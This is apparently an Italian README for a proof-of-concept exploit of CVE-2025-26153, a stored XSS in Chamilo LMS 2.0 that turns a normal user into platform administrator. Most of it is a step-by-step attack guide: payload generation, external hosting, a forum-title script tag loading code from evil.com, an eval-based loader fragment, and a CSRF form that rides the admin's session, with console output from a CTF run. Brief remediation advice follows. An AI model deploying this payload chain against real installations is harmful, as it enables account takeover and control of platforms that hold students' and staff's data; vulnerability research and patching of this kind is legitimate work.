
Chamilo-LMS (v2.0) CVE-2025-26153
Questo repository contiene una prova di concetto che dimostra una vulnerabilità stored cross-site scripting (XSS) in Chamilo LMS che può essere sfruttata per ottenere escalation dei privilegi da utente normale ad amministratore della piattaforma. Questa vulnerabilità è indicizzata e corretta: https://nvd.nist.gov/vuln/detail/CVE-2025-26153
Posizioni del codice vulnerabile:
/public/main/forum/forumqualify.php - Linea 277
$form->addLabel(get_lang('Thread'), $threadEntity->getTitle());
/public/main/forum/viewforum.php - Linea 369
.$thread->getTitle().'</a>';
Ce ne sono altre!
Causa principale:
Passo 1: Raccogli le informazioni dell'utente target
Social Network -> Personal Datauser_info e prendi nota delle seguenti informazioni:
Passo 2: Genera un payload personalizzato
python generate_payload.py
payload.js personalizzatoPasso 3: Ospita il payload esternamente
payload.js generato su un servizio di hosting pubblico:
Passo 4: Accedi ai gruppi social
Social Network -> Social groupsPasso 5: Unisciti o crea un gruppo social
Passo 6: Distribuisci il payload XSS
eval(x.responseText);x.send()">
YOUR-HOST-SERVER con il tuo URL di hosting effettivoPasso 7: Attiva l'escalation dei privilegi
Passo 8: Conferma l'escalation dei privilegi
Lo script generate_payload.py permette di personalizzare l'attacco di escalation dei privilegi:
Parametri di input:
1. L'attaccante crea un thread malevolo nel forum
└── Titolo: <script src=//evil.com/payload.js></script>
2. L'utente amministratore naviga nel forum e visualizza il thread
└── Il browser carica ed esegue il JavaScript esterno
3. Il payload crea un modulo nascosto con i dati di escalation dei privilegi
└── Punta a un ID utente specifico per la promozione ad amministratore
4. Il modulo si invia automaticamente tramite attacco CSRF
└── Utilizza automaticamente i cookie di sessione dell'amministratore
5. L'utente target diventa amministratore della piattaforma
└── L'attaccante ottiene il controllo completo della piattaforma
Sanitizzazione dell'input
// Prima
$threadEntity->getTitle()
// Dopo
htmlspecialchars($threadEntity->getTitle(), ENT_QUOTES, 'UTF-8')
Codifica dell'output
<!-- Prima -->
{{ thread.title }}
<!-- Dopo -->
{{ thread.title|escape }}
Content Security Policy
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
Monitorare:
AVVISO LEGALE IMPORTANTE
Questa prova di concetto è fornita esclusivamente a scopo educativo e di test di sicurezza autorizzati.
Scoperta e analisi: US Cyber Combine
Ambiente di test: USCG CTF Environment
Output della console da un attacco riuscito:
XSS Payload loaded successfully!
Target User ID: 9
Current location: http://cve-hunting.ctf.uscybergames.com:8000/resources/usergroups/show/5
Form created with action: http://cve-hunting.ctf.uscybergames.com:8000/main/admin/user_edit.php?user_id=9
Submitting privilege escalation form for user_id 9
Form has 66 fields
Form submission triggered!
Fetch response status: 200